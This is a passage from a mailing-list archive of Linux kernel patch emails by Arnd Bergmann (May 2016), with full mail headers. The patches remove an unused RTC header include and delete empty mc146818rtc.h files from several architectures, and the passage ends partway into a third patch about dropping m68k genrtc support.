 NqmzCBZTnuTAiwMO8r03CwvmWG62rDWKpOzG/ssu+sAa1UTo+DwvHu1A/6n6CyavsIdLiTfuA
 2mJOkw8SxV9VzltOK2MWrk/j5QBU+J67TF3IxZDwHNXGcYMeeymdfFzQRE6IQPBhKvIRPqJez
 /5sD9/FZ9Z4UpvA0lgpAHAWH9KhRvt4AMhndyxlORG3TFh+HBC154ch/5SOUhhN0XaKI=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.75 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:30 gmane.linux.ports.alpha:3736 gmane.linux.kernel:2230334 gmane.linux.ports.parisc:26790 gmane.linux.ports.ppc64.devel:127838 gmane.linux.ports.sh.devel:54123 gmane.linux.kernel.cross-arch:32170
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/30>

arch/mips/sni/time.c includes asm-generic/rtc.h for no apparent reason,
and it works fine without that header, so lets remove the inclusion
in preparation of deleting the file.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/mips/sni/time.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/mips/sni/time.c b/arch/mips/sni/time.c
index fb4b3520cdc6..7ee14f41fc25 100644
--- a/arch/mips/sni/time.c
+++ b/arch/mips/sni/time.c
@@ -8,7 +8,6 @@
 
 #include <asm/sni.h>
 #include <asm/time.h>
-#include <asm-generic/rtc.h>
 
 #define SNI_CLOCK_TICK_RATE	3686400
 #define SNI_COUNTER2_DIV	64
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 01/16] rtc: cmos: remove empty
 asm/mc146818rtc.h files
Date: Mon, 30 May 2016 20:57:49 +0200
Lines: 115
Approved: news@gmane.org
Message-ID: <1464634684-1248135-2-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634698 4548 80.91.229.3 (30 May 2016 18:58:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:18 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:07 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-wm0-f57.google.com ([74.125.82.57])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xI-Bv
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-wm0-f57.google.com with SMTP id a136sf12847005wme.1
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=Qy9uu2KUpMnxvoJ0XMCOJrJEzIaqIKgd/ne+kPfrBsc=;
        b=OW9Jv/FDBKM8083bOSXqc4yQBUP4gY3UIuRGIl/DM0Msw/83Uwt+3jyNQ4pMisVLSg
         FfsbGtm1f92icyquciqBfVjp2HHLnw3AiYzCYikuaI8D88P76yh2RIuPygslcYwWb2Tx
         wrDA+Nnkg/V0nKi75q4QUDbBMmRvU/osccAEAqa0JqvoESyYrPK971OBR3a1lB0AbwWF
         F1TmasZdqfeU6NlUO8P5UUx4UYsgcKgajoqHmnxYkjbx3LGV7pYWRTDHy/KrQALnw3DE
         trKV2Ro3+2MMTcuuEJIk3iGy85AhJmI2SlwHlgJq/kl8862oKcqreOOKYXHnMwsJwY5n
         CBFQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=Qy9uu2KUpMnxvoJ0XMCOJrJEzIaqIKgd/ne+kPfrBsc=;
        b=l4GEsNb25XnTfku1iKKV2M3BXgBEmIN7jvTpG3kABmMqp+NiLFSlwAGe6myZEz5IJf
         DdzCJZn6Qd1GfOn3T1ZRfVe9AuKShfuinwvkaEpTcdXnwanoDOF12d3VT0um5cXs+/ED
         AzQzDIPGcjhX8GoNdXu1Tqmb4qqNqyaQFzs19iQW8DkaNoJakVl0a7Jwc7m1hskrBzfq
         n44ysnlOwKfZRNsB6sBDOSvAQvqHxltQsWnnuXVz9B/nxwIj/o0+o+y2KsqoieTUC5zy
         rSlkDfcqHoONE3lWM0qAVVKrSjtm23RvqlhjjLXpoRmPmBzjtLzgOdq2VjCehWPFtISx
         XGqw==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tLJCleRNDuBVKi+wCQhGLHNt+DpFQZSHTSLckCA8djIZGr7JEOBQsmXR9VGqZjpgQ==
X-Received: by 10.28.107.139 with SMTP id a11mr33000wmi.0.1464634685885;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.10.208 with SMTP id 199ls240571wmk.31.canary; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.28.96.7 with SMTP id u7mr1192120wmb.6.1464634685383;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.73])
        by gmr-mx.google.com with ESMTPS id v69si1135719wmv.0.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.73 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.73;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LjbI0-1beJES2r7I-00bZ7u; Mon, 30 May
 2016 20:57:57 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:1aXT3wg0IgxBgGufjeb3xIN4xcHwKpwHGaPrECr5QxRHAOypyID
 LhkwHrW50GmuqJc7ul46RSh+2oGwFAFl4L8dhVCRAg5P2T3f1Bj0G3raUTyuMOpurOSCHHR
 Ly+InAQJYCLKCda6lY3bLbQpqjDrMrZHZjef3oPV7p2ZS5AD+A241kcTN9QHLR/nDGXULMA
 BpzoNdfpOal8NuUFKoP2w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:e7zN+ECmFZI=:TB0W4atRK4s8jGOWel68YQ
 OEKTt5tIznrs/69D/e1lE6BLowMMNb0zrAE3ZI5rPsanJ15fnYTMtk01gkoRFR7y0ds6Wqiqi
 VlNO0ZbnSC6Z5goVFQ+iPotSJSAb8B8EjtiC7GSw/MvBsh/mp9DmiA+e+PzYy3hRxh0gw/wZf
 D/zFPcfXH/KDNU7yVE80wc/rAOP2p5eFXIm2b6INWhiPUw/QV+JGhZ8XnFbL4C7SDPWvv7uLq
 /C8S0wkX9Vle6prZdnmwNMHPxjfJj309OZPdHiEsu43FXNtab/c9tCdP59vuGHqW8clYSIaVB
 Tpn7rixo0zX1NzPoOE1pnzAnP7XarM5B9R4wmsoC/LYJtZ44E6tQIYzSBrp7BWgDYn0Fx0ocx
 Sc5sPECYH3OiAna+BwIYb7nnB99lSZukDv549VqtWo5eH9wjib5FdmJClxxvgkFr0VlbTgcVo
 8yBBqJN866UwhHEDjbTaP+oaOR20ERBUF5K+Q7FBlivH61QTuB3VetxztAQH/+IDDHdZf3/N3
 Cohfdz4IXr4wQeLU8hpL4LPzf/Ad+KQ0Y4veYEg+pmFVvK3HZVk+UObnHc5NzEiFbDpc2cpYd
 XYZQNp0Obe1DeEttb7zi2MGAo2VnmBKsuzzva+0GnPiMQ5aEsudlGBvDIjLnqJBaOGfSLTUUa
 jMStXrw8CAeHltsLzB4u5wZrF5gBCcjKIIzj7HMIhF8JbV4MKJu/NDQPNHeGXjNVJyyA=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.73 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:31 gmane.linux.ports.alpha:3737 gmane.linux.kernel:2230335 gmane.linux.ports.parisc:26791 gmane.linux.ports.ppc64.devel:127839 gmane.linux.ports.sh.devel:54124 gmane.linux.kernel.cross-arch:32171
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/31>

Nothing on these architectures ever includes the asm/mc146818rtc.h
file, the drivers that used to do this have been fixed long ago,
and the remaining users are all PC-specific.

This removes the files for good.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Acked-by: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
---
 arch/frv/include/asm/mc146818rtc.h    | 16 ----------------
 arch/h8300/include/asm/mc146818rtc.h  |  9 ---------
 arch/ia64/include/asm/mc146818rtc.h   | 10 ----------
 arch/parisc/include/asm/mc146818rtc.h |  9 ---------
 arch/sh/include/asm/mc146818rtc.h     |  7 -------
 5 files changed, 51 deletions(-)
 delete mode 100644 arch/frv/include/asm/mc146818rtc.h
 delete mode 100644 arch/h8300/include/asm/mc146818rtc.h
 delete mode 100644 arch/ia64/include/asm/mc146818rtc.h
 delete mode 100644 arch/parisc/include/asm/mc146818rtc.h
 delete mode 100644 arch/sh/include/asm/mc146818rtc.h

diff --git a/arch/frv/include/asm/mc146818rtc.h b/arch/frv/include/asm/mc146818rtc.h
deleted file mode 100644
index 90dfb7a633d1..000000000000
--- a/arch/frv/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,16 +0,0 @@
-/* mc146818rtc.h: RTC defs
- *
- * Copyright (C) 2005 Red Hat, Inc. All Rights Reserved.
- * Written by David Howells (dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org)
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License
- * as published by the Free Software Foundation; either version
- * 2 of the License, or (at your option) any later version.
- */
-
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-
-#endif /* _ASM_MC146818RTC_H */
diff --git a/arch/h8300/include/asm/mc146818rtc.h b/arch/h8300/include/asm/mc146818rtc.h
deleted file mode 100644
index ab9d9646d241..000000000000
--- a/arch/h8300/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _H8300_MC146818RTC_H
-#define _H8300_MC146818RTC_H
-
-/* empty include file to satisfy the include in genrtc.c/ide-geometry.c */
-
-#endif /* _H8300_MC146818RTC_H */
diff --git a/arch/ia64/include/asm/mc146818rtc.h b/arch/ia64/include/asm/mc146818rtc.h
deleted file mode 100644
index 407787a237ba..000000000000
--- a/arch/ia64/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#ifndef _ASM_IA64_MC146818RTC_H
-#define _ASM_IA64_MC146818RTC_H
-
-/*
- * Machine dependent access functions for RTC registers.
- */
-
-/* empty include file to satisfy the include in genrtc.c */
-
-#endif /* _ASM_IA64_MC146818RTC_H */
diff --git a/arch/parisc/include/asm/mc146818rtc.h b/arch/parisc/include/asm/mc146818rtc.h
deleted file mode 100644
index adf41631449f..000000000000
--- a/arch/parisc/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-/* empty include file to satisfy the include in genrtc.c */
-
-#endif /* _ASM_MC146818RTC_H */
diff --git a/arch/sh/include/asm/mc146818rtc.h b/arch/sh/include/asm/mc146818rtc.h
deleted file mode 100644
index 0aee96a97330..000000000000
--- a/arch/sh/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,7 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-#endif /* _ASM_MC146818RTC_H */
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 11/16] char/genrtc: remove m68k support
Date: Mon, 30 May 2016 20:57:59 +0200
Lines: 322
Approved: news@gmane.org
Message-ID: <1464634684-1248135-12-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634698 4551 80.91.229.3 (30 May 2016 18:58:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:18 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:07 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lb0-f191.google.com ([209.85.217.191])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xL-Hq
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-lb0-f191.google.com with SMTP id rs7sf9036466lbb.1
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=y7QQ35p+oeRwjg4GH+DrGAkch/c3LhPPFPF4zQnUmyg=;
        b=bfkQvNM2UQf10EAdn4VCNDQvAvc4LtpzVglW6t2RNTi2GFXYq52EVG/ITaGIk9nouN
         QmuYCsAvMaQ9WiLJaV7ABoib97R98IG5/TPjQ7lsdUxZrl9baEA8ahBthPa9nVLy8Wpp
         JUtYXstEtQsbOjkmUxuweFJR5rF70gGVCTigVYPVn7YBN2fP63uG0DgoDCo0u0ZURsRM
         7M98st3e/2rPAe+od3M2stgJU8TWKaDCjvc2/TCJy1W8YdOhHLMbGDd1hZ3J4VaTgi8Y
         oVxq9keJ65TAOxxfP/TeDpzykMRq6e3AY6bZbtkTO7+fA5TKRio5bZaG4njzD9PgXnFE
         9R7A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=y7QQ35p+oeRwjg4GH+DrGAkch/c3LhPPFPF4zQnUmyg=;
        b=iDoOd+MV3O8yWFMFNPwHHXVQzMqbfHVqVB6icWOEhrnk/YPcHAEJjAqmvKjt6JliXd
         9wi+dSA9YrQkkQ2kKkMy1ysfqMTKxgLaqfg9o+ywq2t0Pl5XwFNQjt06liP4cxAAJz65
         U+/4CO3Y6UCNamBs9Ji5E09LKVEU1b1GBeg8tYfWw7CMkyfPX05g6h1R31ZqRBpK/hw1
         R/lZyrMFIoggiKjVzfE1Cjk6DcjGA8YIapWHEQDgKTmRE+oLGzefycq860pkxueKdSxq
         n4vwkRVItctasMeL69ZHNOszPxUFGY9z/zLRyzuZt26eCYppbDA8hdlxRwEsHMPAVEx7
         +MzQ==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tI/W0so52qC3iw7YgAEhD1V1rRglWA6VkXpgv4sQaZz4iB8wkz50di0aakXLsE9Tg==
X-Received: by 10.28.30.216 with SMTP id e207mr32647wme.11.1464634686113;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.157.211 with SMTP id g202ls620366wme.0.gmail; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.28.165.213 with SMTP id o204mr1206023wme.2.1464634685713;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.75])
        by gmr-mx.google.com with ESMTPS id v69si1135720wmv.0.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.75 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.75;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0Lxftz-1bar7h1FBT-017H8n; Mon, 30 May
 2016 20:58:02 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:XszN0Xuo2cze9UvU0p0VHuozhDqnMMsMwtisub7pzRDz1Lg+lWg
 CGKgv9TA0g1lj2+Fii0zTZUSfLkN1NHmE0FoCA9FD2VIae1FGxc6pnG++8pvop3oyWEJzJq
 jH2aGQT/718PYnLX43Y7a+dARm4r7mcvaIHkdovbxk3B4/HZt025mLcqF02PTVT51iNLxZl
 8eYQ+DMPspRBPikvt83Mg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:92W2hsKpUDI=:vslS1VeS1khPUAkIhcIDNP
 MPTgQo9r9E/XgqoxgP1L266/UIg8vg9H9nXoZPFuLJoq/Ykfb9dS7Mfvkbvkpu5ODkRDoEwYl
 jx4RZyrLTkFje3+a9yljXXH3YlHnvCa2hQY7qbGukuMvIkfHuBrVisS5P+YmFkkQzgbxA8D74
 DyRXy3bnhJXg3eRf//M62mE3mojWum9kXTiEjN6xsi99GqjuFVFieKisInXRL1rnin2Lcj+ie
 IicADommCGwEIdSCzaCbNamekPnQ02G1kjiQlByElLlcqntGQnan6MTheZseI9s9HMJJi2e12
 kJwlF6RmooC1W8ca0rj5RKuGy6S5aNIFA+KbkR8jt3NUJUqcZVRBnGAd5Nq5OpLr+qh1h0lNF
 nwYM/2zMucLpVAHi0PRRPIRPlA5IiQDFd0NXAvaOu6tK4R9Sjap6oNwG+ASVbmzCvDWKb9uQ8
 J0SJ44zP5S1FTRUB/S+PQxbVlW2/iaOPLiyNZ8bsjRxzIRiwftyT2DhdOP/CQfNk3rdP7qJSE
 +akKAGlUPiCZ3GQbFqIIrx3Bd4sVtdDvrN5wfd4H4YvJFqiJl+i6vrShEvg+FS7hRnu3X16Se
 yDjZPS1I9jnrKQUzCr9pKP/YwR5gxhsKmY+znJnNQVyfybES6Rvs5Bhg98KzvaVAHubi8Pe+H
 C4L9skxOEQOsprF1NnnpISbqu0FLKFVTstBLY5r5gJFaU12Q/vzxL5lDURsCwEI4JRyc=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.75 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:32 gmane.linux.ports.alpha:3738 gmane.linux.kernel:2230336 gmane.linux.ports.parisc:26792 gmane.linux.ports.ppc64.devel:127840 gmane.linux.ports.sh.devel:54125 gmane.linux.kernel.cross-arch:32172
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/32>

The asm/rtc.h header is only used for the old gen_rtc driver
that has been replaced by rtc-generic. According to Geert
